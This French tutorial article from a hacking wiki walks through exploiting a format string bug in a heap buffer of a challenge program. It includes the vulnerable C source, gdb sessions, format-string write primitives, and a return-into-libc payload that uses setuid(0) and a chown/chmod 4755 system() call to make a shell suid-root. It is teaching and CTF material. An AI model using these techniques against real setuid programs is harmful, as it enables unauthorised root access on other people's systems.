THM11/: Format bugs dans le tas, le retour

Un article de HackaWiki.

Sommaire

Format bugs dans le tas, le retour

Nous revenons, dans cet article, sur l'exploitation des format bug dans le tas, avec un cas de figure plus inhabituel, mais aussi plus intéressant que la dernière fois, puisque les contraintes sont encore plus vives. Une lecture qui plaira aussi au personnes moins expérimentées, grâce aux exemples d'utilisation des outils de deboguage et aux nombreux rappels.

Elite

By ezekiel

Modèle:Encadré

1/ Introduction

La dernière fois, nous avons vu comment exploiter les bugs de chaîne de format quand celle-ci est localisée dans le tas. Nous avions terminé l'article en donnant les grandes lignes de l'exploitation d'un programme vulnérable pour lequel le code de l'exploit n'était pas donné. Vous pouvez trouver ce code sur le site de Feedback de The Hackademy : http://feedback.thehackademy.net. Cette fois, nous allons voir une technique d'exploitation originale (basée sur celle de l'article précédent, à savoir "Exploiter les formats bugs dans le tas" dans le Manuel #9), dans le sens où c'est un cas de figure qui se trouve assez rarement dans un programme réel. Rentrons tout de suite dans le vif du sujet.
N.B. Tous les tests ont été effectués sur une Debian 3.0 avec gcc 2.95.4 et la libc 2.2.5

2/ Analyse du programme vulnérable

Le programme vulnérable que nous allons exploiter est le suivant :

------------------ vuln.c ------------------------
/*
 * vuln.c pour le concours HRCHALLENGE
 * Hints : avez vous bien lu l article de gera ? :)
 *
 * Attention l'exploit doit marcher sous _linux_ !!
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern  char **environ;

void yeah(char * str) {
    printf(str);
}

void toto() {
    char buffer[42];
    strcpy(buffer, "Bonne chance :)\n");
    yeah(buffer);
}

char *getstring (void) {
    char        * buf = malloc(15);
    read(0, buf, 14);
    buf[14] = '\0';
    return (buf);
}

void vuln() {
    toto();
    printf(getstring());
}

int main (int argc, char **argv) {
    int i, j;

    if (argc > 1)
        exit (1);
    /* no more argv[0] */
    for (i = 0; argv[0][i]; argv[0][i++] = 0);
    /* no more environnement */
    for (i = 0; environ[i]; i++)
        for (j = 0; environ[i][j]; environ[i][j++] = 0);
    vuln();
    return (0);
}
--------------------------------------------------------

Regardons ce que fait ce programme :
D'abord il vérifie que l'on n'a pas fourni d'arguments au programme, pour empêcher de passer un shellcode par les arguments. Ensuite, il écrase la valeur de argv[0] (le nom du programme) pour que l'on ne puisse pas passer de shellcode par là non plus. Puis, il appelle la fonction vuln(). Que fait cette fonction? D'abord elle effectue un appel à la fonction toto() dans laquelle la fonction yeah() est appelée. Dans cette dernière fonction, on remarque un appel à la fonction printf() avec un seul argument, la variable str. Si cette variable était fournie par l' utilisateur, on aurait un bug de chaîne de format. Seulement ce n'est pas le cas car on n'a aucun moyen d'influer sur le contenu de cette variable (le programme vulnérable y copie juste une chaîne constante). A ce stade de l'analyse, on pourrait croire que ces fonctions sont juste un leurre pour brouiller les pistes, en fait elles ont une autre utilité que l'on verra tout à l'heure. Bon...la faille est ailleurs...continuons =). Dans la fonction vuln() juste après l'appel à toto(), on a : printf(getstring());
La fonction getstring() alloue un buffer de 15 octets dans le tas (dont 14 utilisables, plus le caractère '\0' de terminaison de chaîne) et y copie 14 octets fournis depuis l'entrée standard par l'utilisateur. Ensuite ce buffer est utilisé comme premier argument de printf() comme vu ci-dessus. C'est là qu'est notre faille =) : si l'on fournit (par l'entrée standard) des opérateurs de conversion au programme vulnérable, ils seront convertis et on pourra bidouiller la pile. OK, voyons comment on peut faire pour détourner l'exécution du programme à notre avantage.
On pourrait juste détourner un pointeur de frame (comme dans le premier article sur les format bugs dans le tas) pour utiliser la technique du frame pointer overwrite, mais où mettre le payload? En effet, le buffer est trop petit pour faire quoi que ce soit... Regardons de plus près l'état de la pile après l'appel au printf vulnérable. Pour cela on va utiliser notre bon vieux pote gdb ;) On compile le programme vulnérable avec les infos de debug :

[ezekiel@psyche hrchallenge]$ gcc -o vuln vuln.c -ggdb

Comme la dernière fois, on utilise un "faux exploit" pour fixer l'environnement d'exécution.

------- fake_sploit.c --------
#include <unistd.h>

int main(void)
{
        char *args[] = { "vuln", NULL };
        char *env[] = { NULL };
        execve(TARGET, args, NULL);
        return 0;
}
------------ EOF ------------

On compile et on lance le debug :

[ezekiel@psyche hrchallenge]$ gcc -o fake_sploit fake_sploit.c \
                                -DTARGET="\"`pwd`/vuln\"" && gdb fake_sploit
[...]
On charge les symboles du programme vulnérable : 
(gdb) symbol-file vuln
Reading symbols from vuln...done.
(gdb) r
Starting program: /home/ezekiel/papers/zezek/hrchallenge/fake_sploit 

Program received signal SIGTRAP, Trace/breakpoint trap.
0x400012d0 in _start () from /lib/ld-linux.so.2
(gdb) disas vuln
Dump of assembler code for function vuln:
0x80485a4 <vuln>:       push   %ebp
0x80485a5 <vuln+1>:     mov    %esp,%ebp
0x80485a7 <vuln+3>:     sub    $0x8,%esp
0x80485aa <vuln+6>:     call   0x8048538 <toto>
0x80485af <vuln+11>:    add    $0xfffffff4,%esp
0x80485b2 <vuln+14>:    call   0x8048564 <getstring>
0x80485b7 <vuln+19>:    mov    %eax,%eax
0x80485b9 <vuln+21>:    push   %eax
0x80485ba <vuln+22>:    call   0x80483f4 <printf>
0x80485bf <vuln+27>:    add    $0x10,%esp
0x80485c2 <vuln+30>:    leave  
0x80485c3 <vuln+31>:    ret    
End of assembler dump.

On met le breakpoint juste après l'appel à printf() :

(gdb) b *vuln+27
Breakpoint 1 at 0x80485bf: file vuln.c, line 41.
(gdb) c
Continuing.

Bonne chance :)

%x.%x.%x.%x
40132e58.bffffeac.80485af.40013678

Breakpoint 1, 0x080485bf in vuln () at vuln.c:41
41          printf(getstring());
(gdb) x/10x $esp
0xbffffe94:     0x08049938      0x40132e58      0xbffffeac      0x080485af
0xbffffea4:     0x40013678      0xbffffec8      0xbffffecc      0x0804868b
0xbffffeb4:     0x40131e48      0xbffffed8      0x40045f18      0x40131e48
(gdb) i f
Stack level 0, frame at 0xbffffeac:
 eip = 0x80485bf in vuln (vuln.c:41); saved eip 0x804868b
 called by frame at 0xbffffecc
 source language c.
 Arglist at 0xbffffeac, args: 
 Locals at 0xbffffeac, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffeac, eip at 0xbffffeb0
</br>

Ok, si l'on observe le dump gdb ci-dessus, on peut remarquer que la frame courante commence à l'adresse 0xbffffeac. On voit également que cette adresse est présente dans la pile à l'adresse 0xbffffe9c...C'est ici que se situe l'astuce qui va nous permettre d'exploiter le programme malgré toutes les contraintes exposées jusqu'ici ;). Si l'adresse de la frame courante est encore sur la pile, cela signifie que la pile contient encore le bout d'une frame d'une fonction qui a déjà été appelée... si cette hypothèse est vraie, alors l'adresse 0x080485af doit être un "ancien" saved eip et doit donc pointer sur une instruction assembleur, vérifions :

(gdb) x/i 0x080485af
0x80485af <vuln+11>:    add    $0xfffffff4,%esp

Illustration
Image : fig1.jpg
Maquette : pas trop loin du paragraphe suivant paragraphe

Illustration
Image : fig2.jpg
Maquette : pas trop loin du paragraphe suivant paragraphe

Ok, donc il reste un bout de la frame de la fonction toto() sur la pile... et alors me direz-vous? Alors, imaginez que l'on se débrouille pour faire pointer la frame B sur la frame A... On part de la figure 1. On utilise la frame A pour écrire sur la frame B l'adresse de la frame A (figure 2). Que se va-t-il se passer? A la fin de la fonction main() on revient dans la fonction vuln(), à l'instruction *vuln+11 exactement, c'est à dire juste après le retour de la fonction toto() (maintenant on sait à quoi elle sert cette fameuse fonction ;) En fait on crée une boucle infinie =)
Cette boucle va nous permettre d'utiliser plusieurs fois le même bug de chaîne de format. On pourra ainsi modifier la pile comme on veut et autant qu'on veut =)

3/ Explication des primitives de l'exploit

A chaque itération de notre boucle on va pouvoir écrire 2 octets sur la pile en utilisant la technique présentée dans l'article précédant (c'est à dire que l'on va générer un pointeur que l'on utilisera pour écrire ou l'on veut dans la pile). La limitation de 2 octets est tout simplement dûe au fait que le buffer stockant notre chaîne de format est trop petit pour en faire plus... Voyons comment nous allons procéder pour modifier deux octets sur la pile.
La technique de base est similaire à celle utilisée pour créer la boucle, sauf que l'on va utiliser un pointeur sur argv[0] et &argv[0]. En effet, on ne peut pas utiliser les pointeurs de frame sinon on risque de "casser" la boucle précédement créée. Si l'on avait plus de frames sur le pile, on pourrait tout aussi bien utiliser d'autres pointeurs de frame dont on ne se sert pas pour la boucle. Rappelons que l'on a juste besoin d'un pointeur dans la pile pointant sur quelque chose dans la pile (voir l'article du Manuel #9).
Donc, pour écrire 2 octets sur la pile, on va utiliser un pointeur vers argv[0] pour modifier argv[0] et le faire pointer sur l'adresse de notre choix.

Illustration
Image : fig3.jpg
Maquette : pas trop loin du paragraphe suivant paragraphe

Illustration
Image : fig4.jpg
Maquette : pas trop loin du paragraphe suivant paragraphe

Illustration
Image : fig5.jpg
Maquette : pas trop loin du paragraphe suivant paragraphe


Voyons maintenant comment nous allons procéder pour modifier 4 octets sur la pile. On part de la figure 3. Admettons que l'on veuille réécrire la valeur se trouvant à l'adresse 0xbffffffc (adresse prise au hasard pour les besoins de l'exemple). On va utiliser le pointeur sur argv[0] pour générer un pointeur sur le LSB (Least Significant Byte) de cette valeur. Ensuite, on va utiliser argv[0] pour y écrire la valeur de notre choix, disons 0x1337 ;) (figure 4). Pour réécrire sur le MSB (Most Significant Byte), il nous suffit de recommencer l'opération en augmentant notre pointeur argv[0] de 2, et d'utiliser ce pointeur pour y écrire la valeur de notre choix, disons encore 0x1337 :P (figure 5).

Comme on n'a pas d'endroit où stocker notre payload, on va devoir l'écrire 2 octets par 2 octets (après tout on peut utiliser le bug de chaîne de format autant de fois qu'on le souhaite non? ;) Pour simplifier le code de l'exploit on va écrire plusieurs petites fonctions qui vont se révéler bien pratiques.

N.B. la variable fmt_tab va nous servir à stocker toutes les chaînes de format que l'on va fournir au programme vulnérable (une chaîne de format par itération de la boucle).

  • d'abord, une fonction qui va générer une chaîne de format permettant d'incrémenter notre pointeur argv[0] :
char *inc_pointer(unsigned int d) {
        char *tmp = (char *)malloc(15);
        pointer += d;
        sprintf(tmp, "%%.%hud%%%u$hn",
                (pointer & 0xffff),
                OFFSET_POINTER_ARGV);
        return tmp;
}
  • une fonction qui va générer une chaîne de format permettant d'écrire 2 octets sur la pile :
char **write_2bytes(char **fmt_tab, unsigned short val) {
        *fmt_tab = (char *)malloc(15);
        sprintf(*fmt_tab, "%%.%hud%%%u$hn", val, OFFSET_ARGV0);
        fmt_tab++;
        *fmt_tab = inc_pointer(2);
        fmt_tab++;
        return fmt_tab;
}
  • et finalement, une fonction, utilisant la précédente, qui permet d'écrire 4 octets
char **write_4bytes(char **fmt_tab, unsigned long val) {
        fmt_tab = write_2bytes(fmt_tab, val & 0xffff);
        fmt_tab = write_2bytes(fmt_tab, val >> 16);
        return fmt_tab;
}

Bien, maintenant que l'on sait comment on va écrire sur la pile, voyons ce que l'on va écrire et où on va le mettre.

4/ Le payload

Comme d'habitude dans le cas d'une exploitation, on a plusieurs solutions pour prendre le contrôle du programme vulnérable. Une première solution serait de copier un shellcode sur la pile et de modifier un saved_eip ou un saved_ebp pour jumper dessus...mais on va plutot utiliser la technique de l'esp-lifting en return-into-libc pour pouvoir bypasser les piles non éxécutables, on n'a pas plus d'octets à écrire et ça fonctionne sur un plus grand nombre de systèmes (et au passage ça vous fait faire quelques petites révisions sur cette technique ;) On va donc créer un payload éxécutant les fonctions suivantes:

setuid(0);
setgid(0);
system("chown root.root dtc && chmod 4755 dtc");

dans lequel dtc est un petit programme qui lance un shell (ndlr: dtc pour Devil's termination code, bien sûr). La commande éxécutée par system() permet de le rendre suid-root (si vous ne savez pas ce que cela veut dire, je vous conseille de retourner lire vos manuels d'Unix ;p ). Tout cela suppose évidement que le programme vulnérable est lui aussi suid-root.
N.B. D'habitude en return-into-libc on effectue plusieurs appels à strcpy() (avec l'adresse d'un octet nul en argument) pour générer les 0x00000000 dont on a besoin en argument de setuid() et setgid(), ici on peut écrire ces deux doubles-mots nuls sur la pile grâce à notre bug de chaîne de format :

/*
 * place un NULL a l'adresse pointée par offset$
 */
char **nullify(char **fmt_tab)
{
        *fmt_tab = (char *)malloc(15);
        sprintf(*fmt_tab, "%%%u$n", OFFSET_ARGV0);
        fmt_tab++;
        *fmt_tab = inc_pointer(4);
        fmt_tab++;
        return fmt_tab;
}

Comme d'habitude, on écrit le nombre de caractères affichés jusqu'alors à une adresse donnée (ici l'adresse stockée dans argv[0]), sauf que cette fois-ci le nombre de caractères affichés avant le %n est nul.
Nous allons donc construire le payload suivant :

Illustration
Image : payload.jpg
Légend: payload

Récapitulons ce que notre exploit doit faire :

  • créer la boucle qui va nous permettre d'utiliser le bug autant de fois qu'on le souhaite.
  • copier le payload 2 octets par 2 octets quelque part sur la pile (ici, on le met dans argv[0]).
  • faire pointer le saved ebp de la frame A sur notre payload.
  • laisser le frame-pointer-overwrite agir ;).
  • éxécuter le programme dtc, qui devrait lancer un shell root si tout s'est bien passé

5/ Recupération des infos nécéssaires et compilation

Maintenant que l'on sait ce que l'on doit faire, il nous faut récupérer les informations à fournir à l'exploit. Pour le return-into-libc, on va avoir besoin de l'adresse d'une séquence pop-ret dans la libc :

$ objdump -d /lib/libc.so.6  | grep -B 1 ret | grep -G pop | head -n 1
   29299:       5a                      pop    %edx

On obtient l'offset de la séquence dans la libc, il nous faut l'adresse à laquelle la libc est chargée :

$ ldd vuln | grep libc
        libc.so.6 => /lib/libc.so.6 (0x4001a000)

Notre pop-ret est donc à l'adresse 0x4001a000 + 0x29299 = 0x40043299 Pour les adresses des fonctions, on va créer un petit script gdb :

------------ fix.gdb -----------
file vuln
b *main
r
p &system
p &exit
p &setuid
p &setgid
quit
y
--------------------------------

Hop, on éxécute :

[ezekiel@psyche hrchallenge]$ gdb -x fix.gdb
[...]
Breakpoint 1, main (argc=134514116, argv=0x1) at vuln.c:46
46      {
$1 = (<text variable, no debug info> *) 0x4005f590 <system>
$2 = (<text variable, no debug info> *) 0x40045dc0 <exit>
$3 = (<text variable, no debug info> *) 0x400bb790 <setuid>
$4 = (<text variable, no debug info> *) 0x400bb830 <setgid>

Ensuite, il nous faut :

  • l'adresse de la frame A (pour faire pointer la frame B dessus)
  • l'adresse de argv[0]
  • l'offset de la frame A, de argv[0] et d'un pointeur sur argv[0]

On a vu tout à l'heure que la frame A se situait à l'adresse 0xbffffe9c
On va récupérer tout ça grâce à gdb :

ezekiel@psyche hrchallenge]$ gdb ./fake_sploit
[...]
(gdb) r
Starting program: /home/ezekiel/papers/zezek/hrchallenge/fake_sploit

Program received signal SIGTRAP, Trace/breakpoint trap.
0x400012d0 in _start () from /lib/ld-linux.so.2

On charge les symboles du programme vulnérable :

(gdb) symbol-file vuln
Reading symbols from vuln...done.
(gdb) b *main+3
Breakpoint 1 at 0x80485c7: file vuln.c, line 46.
(gdb) c
Continuing.

Breakpoint 1, 0x080485c7 in main (argc=1, argv=0xbfffff34) at vuln.c:46
46      {

Hop, on récupère l'adresse de argv[0] : 0xbfffff34

(gdb) b *vuln+27
Breakpoint 2 at 0x80485bf: file vuln.c, line 41.
(gdb) c
Continuing.

Bonne chance :)

Breakpoint 2, 0x080485bf in vuln () at vuln.c:41
41          printf(getstring());
(gdb) x/44x $esp
0xbffffe94:     0x08049938      0x40132e58      0xbffffeac      0x080485af
0xbffffea4:     0x40013678      0xbffffec8      0xbffffecc      0x0804868b
0xbffffeb4:     0x40131e48      0xbffffed8      0x40045f18      0x40131e48
0xbffffec4:     0x400097c0      0x00000000      0xbfffff08      0x4003314f
0xbffffed4:     0x00000001      0xbfffff34      0xbfffff3c      0x080486d0
0xbffffee4:     0x00000000      0xbfffff08      0x40033121      0x400130ec
0xbffffef4:     0x00000001      0x08048440      0xbfffff34      0x40033094
0xbfffff04:     0x08049910      0x00000000      0x08048461      0x080485c4
0xbfffff14:     0x00000001      0xbfffff34      0x0804837c      0x080486d0
0xbfffff24:     0x40009e50      0xbfffff2c      0x4001362c      0x00000001
0xbfffff34:     0xbfffffcb      0x00000000      0x00000000      0x00000010
(gdb) quit
A debugging session is active.
Do you still want to close the debugger?(y or n) y

L'adresse de notre chaîne de format étant stockée en 0xbffffe94, on en déduit les offets voulus:

  • offset de la frame A : 2
  • offset de argv[0] : 40
  • offset d'un pointeur sur argv[0] : 17

Voilà, il nous reste à fixer le code de l'exploit (disponible sur le Feedback) avec ces valeurs, compiler l'exploit et le lancer =)
Votre terminal va se remplir de zéros (soyez patient, ça dure un petit moment) et si tout s'est bien passé, vous devriez obtenir un shell root. Maintenant, levez vous de votre siège et faîtes la root-dance de fyodor ;)

6/ Bibliographie

[1] Exploitation avancée des buffer overflows par OUAH
http://ouah.kernsh.org/advbof.pdf
[2] Advances in format string exploitation par gera, riq
http://www.phrack.org/phrack/59/p59-0x07.txt
[3] The Frame Pointer Overwrite par klog
http://www.phrack.org/phrack/55/P55-08
[4] Exploiter les formats bugs sur le tas par ezekiel :P
the hackademy manuel #9